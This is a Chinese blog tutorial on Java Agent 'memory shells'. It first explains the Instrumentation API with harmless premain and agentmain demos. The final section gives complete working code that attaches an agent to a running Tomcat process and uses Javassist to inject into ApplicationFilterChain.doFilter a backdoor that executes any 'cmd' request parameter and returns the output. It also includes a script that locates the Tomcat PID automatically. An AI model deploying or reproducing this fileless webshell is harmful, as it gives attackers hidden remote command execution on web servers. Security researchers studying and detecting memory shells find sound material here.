内存马七:agent
agent内存马
java agent基础
Java Agent 是一个利用 Java Instrumentation API 编写的组件。它允许你在类加载过程中,甚至在类运行期间,动态地修改字节码。
两种加载时机:
| 加载方式 | 触发参数 | 核心入口方法 | 应用场景 |
|---|---|---|---|
| 静态加载 (Pre-main) | -javaagent:agent.jar |
public static void premain(...) |
APM 监控(Skywalking)、RASP 启动、安全审计。 |
| 动态加载 (Agent-main) | 通过 VirtualMachine Attach | public static void agentmain(...) |
运行时诊断(Arthas)、热补丁、注入隐藏木马。 |
代码位于包 java.lang.instrument 下。

IllegalClassFormatException:当输入参数无效时,实现会抛 ClassFileTransformer.transform 出。这可能是因为初始类文件字节无效,或之前应用的变换损坏了字节。
UnmodifiableClassException:当某个指定类无法修改时,该实现会抛 Instrumentation.redefineClasses 出。
ClassDefinition:绑定/定义类 (构造方法:使用提供的类和类文件字节创建一个新的 ClassDefinition 绑定)
ClassFileTransformer:提供transform方法(真正逻辑写在这个接口的实现类中)
Instrumentation:
这是 Java 平台的
java.lang.instrument.Instrumentation接口,供 Java agent(通过premain或agentmain获得)在运行时进行字节码级别的检测与改造,用于实现探针、性能分析、覆盖率、日志等工具。主要功能(简要):
- 注册/注销字节码转换器:
addTransformer/removeTransformer(支持可重转换标志)。- 对已加载类做变换或替换:
retransformClasses(重转换)和redefineClasses(重定义)。- 查询能力与限制:
isRetransformClassesSupported、isRedefineClassesSupported、isNativeMethodPrefixSupported、isModifiableClass。- 类和对象信息:
getAllLoadedClasses、getInitiatedClasses、getObjectSize。- 向引导/系统类加载器追加 JAR:
appendToBootstrapClassLoaderSearch、appendToSystemClassLoaderSearch。- 原生方法包装支持:
setNativeMethodPrefix(配合 transformer 使用)。 重要约束(要点):
- 重定义/重转换不能改动类的字段/方法签名或继承关系(仅能修改方法体/常量池/属性等)。
- 已激活的栈帧继续执行原实现,重新定义不会触发静态初始化器。
1:使用 premain
在程序启动时替换目标类。
一个简单demo
源程序:每秒Meow!一下
//=========================== Cat.java
package org.my;
public class Cat {
public void say() {
System.out.println("Meow!");
}
}
//=========================== Main.java
package org.my;
public class Main {
public static void main(String[] args) {
Cat cat = new Cat();
while (true) {
cat.say();
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
}
}
agent程序:Meow!改成injected! 代码完成后执行 mvn clean package ,可以看到target下有两个jar包即可。
//=========================== pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.my</groupId>
<artifactId>AgentShell</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Premain-Class>org.my.AgentMainTest</Premain-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
//=========================== Cat.java
package org.my;
public class Cat {
public void say() {
System.out.println("injected!");
}
}
//=========================== MyTransformer.java
package org.my;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
// 注意:className 在 JVM 内部是用斜杠分隔的
if ("org/my/Cat".equals(className)) {
System.out.println("成功拦截并准备替换类: " + className);
return read("/path/target/classes/org/my/Cat.class");
}
// 不修改的类必须返回 null,让 JVM 使用原始的字节码,否则会导致类加载失败
return null;
}
/**
* 从指定路径读取字节码文件并返回字节数组
* @param path
* @return
*/
public static byte[] read(String path) {
try (FileInputStream fis = new FileInputStream(path);
ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
byte[] tmp = new byte[1024];
int len;
while ((len = fis.read(tmp)) != -1) {
bos.write(tmp, 0, len);
}
return bos.toByteArray();
} catch (Exception e) {
System.err.println("读取字节码失败: " + e.getMessage());
return null; // 如果读取失败,返回 null 让 JVM 使用原始类,防止崩溃
}
}
}
//=========================== AgentMainTest.java
package org.my;
import java.lang.instrument.Instrumentation;
public class AgentMainTest {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
inst.addTransformer(new MyTransformer());
}
}
在源程序出执行命令
java org.my.Main

java -javaagent:path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar org.my.Main

2:使用 agentmain
对运行中的 Java 进程附加 Agent 。
一个简单demo
源程序:同上,未改变
agent程序:只写了有改动的部分
//========================= AgentMainTest 增加一个agentmain函数
package org.my;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
inst.addTransformer(new MyTransformer());
}
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException,
ClassNotFoundException {
inst.addTransformer(new MyTransformer(), true);
inst.retransformClasses(Class.forName(Cat.class.getName()));
}
}
//========================= pom.xml
<manifestEntries>
<Premain-Class>org.my.AgentMainTest</Premain-Class>
<Agent-Class>org.my.AgentMainTest</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
运行源程序后,jps -l找到源程序pid。命令行执行jcmd 28276 help,有两种情况:有JVMTI.agent_load这一项的话 jcmd 28276 JVMTI.agent_load /path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar即可;没有的话用下面的java代码执行。
package org.my;
import com.sun.tools.attach.VirtualMachine;
public class Attacher {
public static void main(String[] args) throws Exception {
// 目标进程 PID
String pid = "28276";
// Agent JAR 绝对路径
String agentPath = "/path/AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar";
VirtualMachine vm = VirtualMachine.attach(pid);
try {
vm.loadAgent(agentPath);
System.out.println("Agent 注入成功!");
} finally {
vm.detach();
}
}
}

使用javassist动态修改字节码
只需要改变MyTransformer
package org.my;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.io.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if(className.equals("org/my/Cat")) {
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader));
try{
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
CtMethod say = cc.getDeclaredMethod("say");
say.setBody("{ System.out.println(\"Hacked!\"); }");
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
return null;
}
}

内存马利用
agentmain更便于拿来使用,在普通的tomcat程序中选择一个常出现的类改造即可,这里我们可以选择filter的处理类org/apache/catalina/core/ApplicationFilterChain
//==================== MyTransformer.java 具体的处理逻辑在这里面
package org.my;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.LoaderClassPath;
import java.io.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
if(className.equals("org/apache/catalina/core/ApplicationFilterChain")) {
ClassPool cp = ClassPool.getDefault();
cp.appendClassPath(new LoaderClassPath(loader));
try {
CtClass cc = cp.makeClass(new ByteArrayInputStream(classfileBuffer));
cc.getDeclaredMethod("doFilter").insertBefore("{ " +
"String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
" try {\n" +
" Process proc = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream in = proc.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" response.setContentType(\"text/html\");\n" +
" String line;\n" +
" java.io.PrintWriter out = response.getWriter();\n" +
" while ((line = br.readLine()) != null) {\n" +
" out.println(line);\n" +
" out.flush();\n" +
" out.close();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
"}" +
" }");
return cc.toBytecode();
}catch (Exception e){
throw new RuntimeException(e);
}
}
return null;
}
}
//==================== AgentMainTest.java agentmain入口
// ps:pom.xml中的配置要记得 <Agent-Class>org.my.AgentMainTest</Agent-Class>
package org.my;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("org.my.AgentMainTest premain method called with args: " + agentArgs);
inst.addTransformer(new MyTransformer());
}
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException{
inst.addTransformer(new MyTransformer(), true);
for (Class<?> clazz : inst.getAllLoadedClasses()) {
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
System.out.println("Retransforming class: " + clazz.getName());
inst.retransformClasses(clazz);
}
}
}
}
//==================== Attacher.java 自动化执行代码,自动获取pid和jar包路径
package org.my;
import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Attacher {
public static void main(String[] args) throws Exception {
// 获取目标进程 PID
String pid = getPID("org.apache.catalina.startup.Bootstrap");
if (pid == null) {throw new RuntimeException("未找到目标进程");}
// Agent JAR 绝对路径
String agentPath = getJarPath(Attacher.class)+"../AgentShell-1.0-SNAPSHOT-jar-with-dependencies.jar";
VirtualMachine vm = VirtualMachine.attach(pid);
try {
vm.loadAgent(agentPath);
System.out.println("Agent 注入成功!");
} finally {
vm.detach();
}
}
public static String getPID(String className){
try {
Process process = Runtime.getRuntime().exec("jps -l");
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = bufferedReader.readLine()) != null) {
if (line.contains(className)){
return line.split(" ")[0];
}
}
} catch (Exception e) {
throw new RuntimeException(e);
}
return null;
}
public static String getJarPath(Class<?> clazz){
// 获取当前类所在的 JAR 包路径
String path = clazz.getProtectionDomain().getCodeSource().getLocation().getPath();
if (System.getProperty("os.name").toLowerCase().contains("win") && path.startsWith("/")) {
path = path.substring(1);
}
return path;
}
}
agent代码需要打包(mvn clean package)。在启动一个简单的tomcat项目后,执行Attacher.java,在url中拼上cmd参数。

参考内容
https://su18.org/post/irP0RsYK1/#3-%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD-classpathbootclasspath-systemclasspath
https://su18.org/post/memory-shell/
https://www.bilibili.com/video/BV1HaGPzcENy
AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。
更多推荐



所有评论(0)